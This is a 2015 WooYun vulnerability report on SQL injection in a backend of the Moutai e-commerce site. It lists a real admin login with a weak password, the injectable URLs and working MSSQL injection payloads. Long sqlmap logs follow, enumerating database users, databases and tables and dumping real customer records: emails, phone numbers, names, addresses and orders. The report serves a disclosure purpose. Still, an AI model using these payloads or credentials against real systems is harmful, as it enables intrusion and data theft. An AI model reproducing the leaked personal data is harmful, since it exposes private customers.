当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153777

漏洞标题：茅台电商某后台存在SQL注射(DBA权限/18个库/47W会员/3.7W订单)

相关厂商：emaotai.cn

漏洞作者： 路人甲

提交时间：2015-11-17 12:07

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-17： 细节已通知厂商并且等待厂商处理中
2015-11-17： 厂商已经确认，细节仅向厂商公开
2015-11-27： 细节向核心白帽子及相关领域专家公开
2015-12-07： 细节向普通白帽子公开
2015-12-17： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

详细说明：

http://www.emaotai.cn:90/zyd/LoginTo.aspx


账号：wanglei
密码：123456
注入点：

http://www.emaotai.cn:90/zyd/Config/SpjgEdit.aspx?spbh=696&Op=&ReturnPage=~/Config/SpjgList.aspx


http://www.emaotai.cn:90/zyd/Config/SpEdit.aspx?spbh=696

漏洞证明：

以

http://www.emaotai.cn:90/zyd/Config/SpjgEdit.aspx?spbh=696&Op=&ReturnPage=~/Config/SpjgList.aspx

为例

Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&Ret
onfig/SpjgList.aspx
---
[09:59:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:59:57] [INFO] fetching database users
[09:59:57] [INFO] the SQL query used returns 12 entries
[09:59:57] [INFO] retrieved: ##MS_PolicyEventProcessingLogin##
[09:59:57] [INFO] retrieved: ##MS_PolicyTsqlExecutionLogin##
[09:59:58] [INFO] retrieved: actuser
[09:59:58] [INFO] retrieved: bmDev
[09:59:58] [INFO] retrieved: dev
[09:59:58] [INFO] retrieved: distributor_admin
[09:59:58] [INFO] retrieved: hishop
[09:59:58] [INFO] retrieved: hishop_pj
[09:59:59] [INFO] retrieved: moutaiwssc
[09:59:59] [INFO] retrieved: mysys
[09:59:59] [INFO] retrieved: sa
[09:59:59] [INFO] retrieved: taxreader
database management system users [12]:
[*] ##MS_PolicyEventProcessingLogin##
[*] ##MS_PolicyTsqlExecutionLogin##
[*] actuser
[*] bmDev
[*] dev
[*] distributor_admin
[*] hishop
[*] hishop_pj
[*] moutaiwssc
[*] mysys
[*] sa
[*] taxreader


Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.
aspx
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/C
onfig/SpjgList.aspx
---
[09:15:08] [INFO] testing Microsoft SQL Server
[09:15:08] [INFO] confirming Microsoft SQL Server
[09:15:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:15:09] [INFO] fetching database names
[09:15:09] [INFO] the SQL query used returns 18 entries
[09:15:09] [INFO] retrieved: distribution
[09:15:10] [INFO] retrieved: DrpEco
[09:15:10] [INFO] retrieved: drpecosdl
[09:15:10] [INFO] retrieved: DrpEcoTest
[09:15:10] [INFO] retrieved: eAct
[09:15:10] [INFO] retrieved: eActTest
[09:15:10] [INFO] retrieved: emaotai_act
[09:15:11] [INFO] retrieved: emaotai_act_test
[09:15:11] [INFO] retrieved: emaotai_logs
[09:15:11] [INFO] retrieved: hishop
[09:15:11] [INFO] retrieved: master
[09:15:11] [INFO] retrieved: model
[09:15:11] [INFO] retrieved: moutai
[09:15:12] [INFO] retrieved: moutaitest
[09:15:12] [INFO] retrieved: msdb
[09:15:12] [INFO] retrieved: ReportServer
[09:15:12] [INFO] retrieved: ReportServerTempDB
[09:15:12] [INFO] retrieved: tempdb
available databases [18]:
[*] distribution
[*] DrpEco
[*] drpecosdl
[*] DrpEcoTest
[*] eAct
[*] eActTest
[*] emaotai_act
[*] emaotai_act_test
[*] emaotai_logs
[*] hishop
[*] master
[*] model
[*] moutai
[*] moutaitest
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


Payload: spbh=696' AND 6031=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6031=6031) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113))) AND 'Kyfj'='Kyfj&Op=&ReturnPage=~/Config/SpjgList.aspx
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.aspx
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/Config/SpjgList.aspx
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
Database: hishop
+------------------------------------+---------+
| Table                              | Entries |
+------------------------------------+---------+
| dbo.Hishop_CouponItems             | 2473863 |
| dbo.vw_Hishop_CouponInfo           | 2473863 |
| dbo.aspnet_Users                   | 476461  |
| dbo.aspnet_Members                 | 476163  |
| dbo.vw_aspnet_Members              | 476160  |
| dbo.Hishop_MessageContent          | 104563  |
| dbo.Hishop_MemberMessageBox        | 104376  |
| dbo.vw_Hishop_MemberMessageBox     | 104372  |
| dbo.aspnet_UsersInRoles            | 82569   |
| dbo.Hishop_OrderItems              | 38087   |
| dbo.vw_Hishop_SaleDetails          | 38079   |
| dbo.Hishop_Orders                  | 34782   |
| dbo.vw_Hishop_OrderItem            | 20365   |
| dbo.Hishop_OrderOptions            | 18255   |
| dbo.Hishop_ManagerMessageBox       | 14680   |
| dbo.vw_Hishop_ManagerMessageBox    | 14677   |
| dbo.Hishop_PointDetails            | 14037   |
| dbo.xupiaoOrder                    | 12586   |
| dbo.Hishop_UserShippingAddresses   | 11936   |
| dbo.Hishop_Logs                    | 9958    |
| dbo.Hishop_OrderDebitNote          | 8451    |
| dbo.vw_Hishop_OrderDebitNote       | 8445    |
| dbo.Hishop_SMSLog                  | 7394    |
| dbo.Hishop_BookingOrderSend        | 4413    |
| dbo.Hishop_PhotoGallery            | 3783    |
| dbo.Hishop_Favorite                | 2375    |
| dbo.Hishop_ProductConsultations    | 1396    |
| dbo.vw_Hishop_ProductConsultations | 1396    |
| dbo.t_sys_Columdef                 | 1261    |
| dbo.Hishop_ProductReviews          | 1117    |
| dbo.vw_Hishop_ProductReviews       | 1117    |
| dbo.HiShop_PayMentDetail           | 656     |
| dbo.Hishop_PrivilegeInRoles        | 541     |
| dbo.Hishop_SKUMemberPrice          | 424     |
| dbo.Hishop_Products                | 375     |
| dbo.Hishop_SKUs                    | 375     |
| dbo.vw_Hishop_BrowseProductList    | 375     |
| dbo.vw_Hishop_ProductSkuList       | 375     |
| dbo.Hishop_OrderRefund             | 366     |
| dbo.vw_Hishop_OrderRefund          | 366     |
| dbo.Hishop_ProductTag              | 351     |
| dbo.Vshop_RelatedTopicProducts     | 202     |
| dbo.Hishop_InpourRequest           | 198     |
| dbo.t_sys_tabledef                 | 191     |
| dbo.Hishop_BalanceDetails          | 175     |
| dbo.Hishop_ShoppingCarts           | 158     |
| dbo.Hishop_LeaveCommentReplys      | 131     |
| dbo.Hishop_LeaveComments           | 127     |
| dbo.t_cx_sql                       | 114     |
| dbo.t_sys_StoreProc                | 87      |
| dbo.aspnet_Managers                | 82      |
| dbo.vw_aspnet_Managers             | 71      |
| dbo.Vshop_HomeProducts             | 69      |
| dbo.Hishop_Articles                | 65      |
| dbo.vw_Hishop_Articles             | 65      |
| dbo.Hishop_Coupons                 | 57      |
| dbo.Hishop_OrderReturns            | 56      |
| dbo.vw_Hishop_OrderReturns         | 56      |
| dbo.vshop_Reply                    | 47      |
| dbo.Hishop_ProductTypeBrands       | 38      |
| dbo.Hishop_VoteItems               | 38      |
| dbo.tmp_orders                     | 38      |
| dbo.Vshop_Topics                   | 32      |
| dbo.Hishop_Affiche                 | 28      |
| dbo.Hishop_Categories              | 28      |
| dbo.Hishop_Hotkeywords             | 28      |
| dbo.Hishop_PromotionMemberGrades   | 28      |
| dbo.Hishop_Helps                   | 26      |
| dbo.Hishop_OrderReplace            | 26      |
| dbo.vw_Hishop_Helps                | 26      |
| dbo.vw_Hishop_OrderReplace         | 26      |
| dbo.Hishop_PhotoCategories         | 23      |
| dbo.Hishop_BundlingProductItems    | 21      |
| dbo.Hishop_OrderSendNote           | 20      |
| dbo.vw_Hishop_OrderSendNote        | 20      |
| dbo.Hishop_CountDown               | 19      |
| dbo.vw_Hishop_CountDown            | 19      |
| dbo.vshop_Menu                     | 18      |
| dbo.Hishop_BrandCategories         | 17      |
| dbo.Hishop_CouponsLog              | 14      |
| dbo.Hishop_MessageTemplates        | 13      |
| dbo.Hishop_Tags                    | 13      |
| dbo.Hishop_ExpressTemplates        | 11      |
| dbo.Hishop_RelatedProducts         | 11      |
| dbo.aspnet_Roles                   | 10      |
| dbo.Hishop_BundlingProducts        | 9       |
| dbo.vshop_Message                  | 9       |
| dbo.Vshop_PrizeRecord              | 9       |
| dbo.vw_Hishop_BundlingProducts     | 9       |
| dbo.Hishop_Votes                   | 8       |
| dbo.Hishop_Banner                  | 7       |
| dbo.Hishop_Promotions              | 7       |
| dbo.Hishop_ActivityProduct         | 6       |
| dbo.Hishop_AttributeValues         | 6       |
| dbo.Hishop_FriendlyLinks           | 6       |
| dbo.Hishop_HelpCategories          | 6       |
| dbo.vshop_ActivitySignUp           | 6       |
| dbo.Hishop_ActivityManage          | 5       |
| dbo.Hishop_ArticleCategories       | 5       |
| dbo.Hishop_ProductTypes            | 5       |
| dbo.aspnet_MemberGrades            | 4       |
| dbo.Hishop_PaymentTypes            | 4       |
| dbo.Hishop_TemplateRelatedShipping | 4       |
| dbo.Hishop_MemberClientSet         | 3       |
| dbo.Hishop_RelatedArticsProducts   | 3       |
| dbo.CustomMade_WebPoints           | 2       |
| dbo.Hishop_Attributes              | 2       |
| dbo.Hishop_OrderLookupItems        | 2       |
| dbo.Hishop_ShippingTypes           | 2       |
| dbo.Hishop_EmailQueue              | 1       |
| dbo.Hishop_GroupBuy                | 1       |
| dbo.Hishop_GroupBuyCondition       | 1       |
| dbo.Hishop_MessageWhiteList        | 1       |
| dbo.Hishop_OrderLookupLists        | 1       |
| dbo.Hishop_ProductBooking          | 1       |
| dbo.Hishop_Shippers                | 1       |
| dbo.Hishop_ShippingTemplates       | 1       |
| dbo.Hishop_TableLock               | 1       |
| dbo.t_sys_project                  | 1       |
| dbo.vw_Hishop_GroupBuy             | 1       |
+------------------------------------+---------+


Payload: spbh=696' AND 6031=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(107
)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (6031=6031) THEN CHAR(49) ELSE CHAR(48)
 END))+CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113))) AND 'Kyfj'='Kyfj&Op=&R
eturnPage=~/Config/SpjgList.aspx
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: spbh=696';WAITFOR DELAY '0:0:5'--&Op=&ReturnPage=~/Config/SpjgList.
aspx
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: spbh=696' WAITFOR DELAY '0:0:5' AND 'JbdE'='JbdE&Op=&ReturnPage=~/C
onfig/SpjgList.aspx
---
[09:57:13] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2008
[09:57:13] [INFO] fetching columns for table 'vw_aspnet_Members' in database 'hi
shop'
[09:57:13] [INFO] the SQL query used returns 38 entries
[09:57:13] [INFO] retrieved: Address
[09:57:14] [INFO] retrieved: nvarchar
[09:57:14] [INFO] retrieved: Balance
[09:57:15] [INFO] retrieved: money
[09:57:15] [INFO] retrieved: BirthDate
[09:57:15] [INFO] retrieved: datetime
[09:57:16] [INFO] retrieved: CellPhone
[09:57:17] [INFO] retrieved: nvarchar
[09:57:17] [INFO] retrieved: Comment
[09:57:17] [INFO] retrieved: ntext
[09:57:18] [INFO] retrieved: CountBuy
[09:57:18] [INFO] retrieved: money
[09:57:18] [INFO] retrieved: CreateDate
[09:57:19] [INFO] retrieved: datetime
[09:57:19] [INFO] retrieved: Email
[09:57:20] [INFO] retrieved: nvarchar
[09:57:20] [INFO] retrieved: Expenditure
[09:57:20] [INFO] retrieved: money
[09:57:20] [INFO] retrieved: Gender
[09:57:21] [INFO] retrieved: int
[09:57:21] [INFO] retrieved: GradeId
[09:57:21] [INFO] retrieved: int
[09:57:21] [INFO] retrieved: GradeName
[09:57:21] [INFO] retrieved: nvarchar
[09:57:21] [INFO] retrieved: IsAnonymous
[09:57:22] [INFO] retrieved: bit
[09:57:22] [INFO] retrieved: IsApproved
[09:57:22] [INFO] retrieved: bit
[09:57:22] [INFO] retrieved: IsLockedOut
[09:57:22] [INFO] retrieved: bit
[09:57:23] [INFO] retrieved: LastActivityDate
[09:57:23] [INFO] retrieved: datetime
[09:57:23] [INFO] retrieved: LastLockoutDate
[09:57:23] [INFO] retrieved: datetime
[09:57:23] [INFO] retrieved: LastLoginDate
[09:57:24] [INFO] retrieved: datetime
[09:57:24] [INFO] retrieved: LastPasswordChangedDate
[09:57:24] [INFO] retrieved: datetime
[09:57:24] [INFO] retrieved: MSN
[09:57:24] [INFO] retrieved: nvarchar
[09:57:25] [INFO] retrieved: OrderNumber
[09:57:25] [INFO] retrieved: int
[09:57:25] [INFO] retrieved: PasswordFormat
[09:57:25] [INFO] retrieved: int
[09:57:25] [INFO] retrieved: PasswordQuestion
[09:57:25] [INFO] retrieved: nvarchar
[09:57:26] [INFO] retrieved: Points
[09:57:26] [INFO] retrieved: int
[09:57:26] [INFO] retrieved: QQ
[09:57:26] [INFO] retrieved: nvarchar
[09:57:26] [INFO] retrieved: RealName
[09:57:26] [INFO] retrieved: nvarchar
[09:57:27] [INFO] retrieved: ReferralUserId
[09:57:27] [INFO] retrieved: int
[09:57:27] [INFO] retrieved: RegionId
[09:57:27] [INFO] retrieved: int
[09:57:27] [INFO] retrieved: RequestBalance
[09:57:27] [INFO] retrieved: money
[09:57:27] [INFO] retrieved: TelPhone
[09:57:28] [INFO] retrieved: nvarchar
[09:57:28] [INFO] retrieved: TopRegionId
[09:57:28] [INFO] retrieved: int
[09:57:28] [INFO] retrieved: TradePasswordFormat
[09:57:28] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: Typeid
[09:57:29] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: UserId
[09:57:29] [INFO] retrieved: int
[09:57:29] [INFO] retrieved: UserName
[09:57:29] [INFO] retrieved: nvarchar
[09:57:29] [INFO] retrieved: VipCardNumber
[09:57:30] [INFO] retrieved: nvarchar
[09:57:30] [INFO] retrieved: Wangwang
[09:57:30] [INFO] retrieved: nvarchar
[09:57:30] [INFO] retrieved: Zipcode
[09:57:30] [INFO] retrieved: nvarchar
[09:57:31] [INFO] fetching entries for table 'vw_aspnet_Members' in database 'hi
shop'
[09:57:31] [INFO] retrieved: 476148
[09:57:31] [INFO] fetching number of distinct values for column 'QQ'
[09:57:31] [INFO] retrieved: 5288
[09:57:31] [INFO] fetching number of distinct values for column 'MSN'
[09:57:32] [INFO] retrieved: 171
[09:57:32] [INFO] fetching number of distinct values for column 'Email'
[09:57:33] [INFO] retrieved: 447919
[09:57:33] [INFO] fetching number of distinct values for column 'Gender'
[09:57:33] [INFO] retrieved: 3
[09:57:33] [INFO] fetching number of distinct values for column 'Points'
[09:57:34] [INFO] retrieved: 2257
[09:57:34] [INFO] fetching number of distinct values for column 'Typeid'
[09:57:37] [INFO] retrieved: 1
[09:57:37] [INFO] fetching number of distinct values for column 'UserId'
[09:57:39] [INFO] retrieved: 476148
[09:57:39] [INFO] using column 'UserId' as a pivot for retrieving row data
[09:57:45] [INFO] retrieved: 100000
[09:57:45] [INFO] retrieved:
[09:57:46] [INFO] retrieved:
[09:57:46] [INFO] retrieved: 1456441872@qq.com
[09:57:47] [INFO] retrieved:
[09:57:47] [INFO] retrieved: 0
[09:57:47] [INFO] retrieved: 1
[09:57:47] [INFO] retrieved:
[09:57:48] [INFO] retrieved: 0.00
[09:57:48] [INFO] retrieved: 2015茅台有礼了
[09:57:49] [INFO] retrieved: 1
[09:57:49] [INFO] retrieved:
[09:57:49] [INFO] retrieved: 0.00
[09:57:50] [INFO] retrieved:
[09:57:50] [INFO] retrieved:
[09:57:50] [INFO] retrieved: 18762195186
[09:57:51] [INFO] retrieved: mu1456441872
[09:57:51] [INFO] retrieved:
[09:57:51] [INFO] retrieved:
[09:57:52] [INFO] retrieved: 18762195186
[09:57:52] [INFO] retrieved: 普通会员
[09:57:52] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:53] [INFO] retrieved: 1
[09:57:53] [INFO] retrieved: 0.00
[09:57:53] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved: 0
[09:57:54] [INFO] retrieved:
[09:57:55] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:55] [INFO] retrieved:
[09:57:55] [INFO] retrieved: 0
[09:57:56] [INFO] retrieved:
[09:57:56] [INFO] retrieved: 0.00
[09:57:56] [INFO] retrieved: 01 \\\\?a02 1900 12:00AM
[09:57:57] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:57] [INFO] retrieved:
[09:57:57] [INFO] retrieved: 0
[09:57:58] [INFO] retrieved: 01 27 2015 11:11PM
[09:57:59] [INFO] retrieved: 100001
[09:57:59] [INFO] retrieved:
[09:58:00] [INFO] retrieved:
[09:58:00] [INFO] retrieved: 1456443664@qq.com
[09:58:00] [INFO] retrieved:
[09:58:01] [INFO] retrieved: 0
[09:58:01] [INFO] retrieved: 1
[09:58:01] [INFO] retrieved:
[09:58:02] [INFO] retrieved: 0.00
[09:58:02] [INFO] retrieved: 2015茅台有礼了
[09:58:02] [INFO] retrieved: 1
[09:58:03] [INFO] retrieved:
[09:58:09] [INFO] retrieved: 0.00
[09:58:11] [INFO] retrieved:
[09:58:13] [INFO] retrieved:
[09:58:13] [INFO] retrieved: 13702153934
[09:58:14] [INFO] retrieved: dkkij1456443664
[09:58:15] [INFO] retrieved:
[09:58:15] [INFO] retrieved:
[09:58:16] [INFO] retrieved: 13702153934
[09:58:16] [INFO] retrieved: 普通会员
[09:58:16] [INFO] retrieved: 01 27 2015 11:11PM
[09:58:17] [INFO] retrieved: 1
[09:58:17] [INFO] retrieved: 0.00
[09:58:17] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved: 0
[09:58:18] [INFO] retrieved:
[09:58:19] [INFO] retrieved: 01 27 2015 11:11PM
[09:58:19] [INFO] retrieved:


[09:52:37] [INFO] fetching entries for table 'Hishop_Orders' in database 'hishop
'
[09:52:37] [INFO] retrieved: 34777
[09:52:37] [INFO] fetching number of distinct values for column 'QQ'
[09:52:37] [INFO] retrieved: 0
[09:52:37] [INFO] fetching number of distinct values for column 'MSN'
[09:52:37] [INFO] retrieved: 0
[09:52:37] [INFO] fetching number of distinct values for column 'Tax'
[09:52:37] [INFO] retrieved: 1
[09:52:37] [INFO] fetching number of distinct values for column 'Amount'
[09:52:37] [INFO] retrieved: 3244
[09:52:37] [INFO] fetching number of distinct values for column 'Remark'
[09:52:38] [INFO] retrieved: 10707
[09:52:38] [INFO] fetching number of distinct values for column 'Sender'
[09:52:38] [INFO] retrieved: 0
[09:52:38] [INFO] fetching number of distinct values for column 'ShipTo'
[09:52:38] [INFO] retrieved: 11117
[09:52:38] [INFO] fetching number of distinct values for column 'UserId'
[09:52:38] [INFO] retrieved: 11798
[09:52:38] [INFO] fetching number of distinct values for column 'Weight'
[09:52:39] [INFO] retrieved: 875
[09:52:39] [INFO] fetching number of distinct values for column 'saving'
[09:52:39] [INFO] retrieved: 115
[09:52:39] [INFO] fetching number of distinct values for column 'Address'
[09:52:39] [INFO] retrieved: 13462
[09:52:39] [INFO] fetching number of distinct values for column 'Freight'
[09:52:39] [INFO] retrieved: 254
[09:52:39] [INFO] fetching number of distinct values for column 'Gateway'
[09:52:39] [INFO] retrieved: 8
[09:52:39] [INFO] fetching number of distinct values for column 'OrderId'
[09:52:40] [INFO] retrieved: 34777
[09:52:40] [INFO] using column 'OrderId' as a pivot for retrieving row data
[09:52:40] [INFO] retrieved: 06101700609060002
[09:52:40] [INFO] retrieved:
[09:52:40] [INFO] retrieved:
[09:52:40] [INFO] retrieved: 0.00
[09:52:40] [INFO] retrieved: 679.00
[09:52:41] [INFO] retrieved:
[09:52:41] [INFO] retrieved:
[09:52:41] [INFO] retrieved: 高文立
[09:52:41] [INFO] retrieved: 38887
[09:52:41] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: 贵阳市白云区
[09:52:42] [INFO] retrieved: 0.00
[09:52:42] [INFO] retrieved: hishop.plugins.payment.alipaydirect.directrequest
[09:52:42] [INFO] retrieved: 06 \\\\?a09 2009 12:00PM
[09:52:42] [INFO] retrieved: 550014
[09:52:43] [INFO] retrieved: 邮政EMS配送
[09:52:43] [INFO] retrieved: 高文立
[09:52:43] [INFO] retrieved: 3357
[09:52:43] [INFO] retrieved:
[09:52:44] [INFO] retrieved: gwl
[09:52:44] [INFO] retrieved:
[09:52:44] [INFO] retrieved: 8169299
[09:52:44] [INFO] retrieved: 0
[09:52:44] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved: 06 \\\\?a03 2009 \\\\?a01:59AM
[09:52:45] [INFO] retrieved:
[09:52:45] [INFO] retrieved:
[09:52:46] [INFO] retrieved: 0.00
[09:52:46] [INFO] retrieved: 3356
[09:52:46] [INFO] retrieved: 3357
[09:52:46] [INFO] retrieved: 3362
[09:52:46] [INFO] retrieved: 0
[09:52:46] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved: 0
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved:
[09:52:47] [INFO] retrieved: 679
[09:52:48] [INFO] retrieved: 679.00
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:48] [INFO] retrieved:
[09:52:49] [INFO] retrieved:
[09:52:49] [INFO] retrieved: 0.00
[09:52:49] [INFO] retrieved:
[09:52:49] [INFO] retrieved: 0.00
[09:52:49] [INFO] retrieved: 679.00
[09:52:50] [INFO] retrieved: 4
[09:52:50] [INFO] retrieved: 支付宝
[09:52:50] [INFO] retrieved: 1
[09:52:50] [INFO] retrieved:
[09:52:50] [INFO] retrieved: 0.00
[09:52:50] [INFO] retrieved:
[09:52:51] [INFO] retrieved: gwl198@163.com
[09:53:07] [INFO] retrieved: 测试单位
[09:53:08] [INFO] retrieved: 邮政EMS配送
[09:53:08] [INFO] retrieved:
[09:53:08] [INFO] retrieved:
[09:53:08] [INFO] retrieved: 0
[09:53:08] [INFO] retrieved: 01 \\\\?a01 1900 12:00AM
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved: 0.00
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved:
[09:53:09] [INFO] retrieved: 4
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved: 0.00
[09:53:10] [INFO] retrieved:
[09:53:10] [INFO] retrieved:
[09:53:11] [INFO] retrieved: 0.00
[09:53:11] [INFO] retrieved: 9
[09:53:11] [INFO] retrieved: 贵州省,贵阳市,贵阳白云区
[09:53:11] [INFO] retrieved: 0.00
[09:53:12] [INFO] retrieved: 0
[09:53:12] [INFO] retrieved:
[09:53:12] [INFO] retrieved: 0.00
[09:53:12] [INFO] retrieved:
[09:53:12] [INFO] retrieved: 0
[09:53:12] [INFO] retrieved: 0.00
[09:53:13] [INFO] retrieved: 0
[09:53:13] [INFO] retrieved: ems
[09:53:13] [INFO] retrieved: EMS
[09:53:13] [INFO] retrieved: 9
[09:53:13] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:14] [INFO] retrieved:
[09:53:15] [INFO] retrieved:
[09:53:15] [INFO] retrieved:
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved: 06101700609060003
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved:
[09:53:16] [INFO] retrieved: 0.00
[09:53:16] [INFO] retrieved: 1210.00
[09:53:17] [INFO] retrieved:
[09:53:17] [INFO] retrieved:
[09:53:17] [INFO] retrieved: 高文立
[09:53:17] [INFO] retrieved: 38887
[09:53:17] [INFO] retrieved: 2.00

修复方案：

过滤SQL特殊字符

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-11-17 14:17

厂商回复：

感谢您的反馈，我们将尽快处理这个问题。

最新状态：

暂无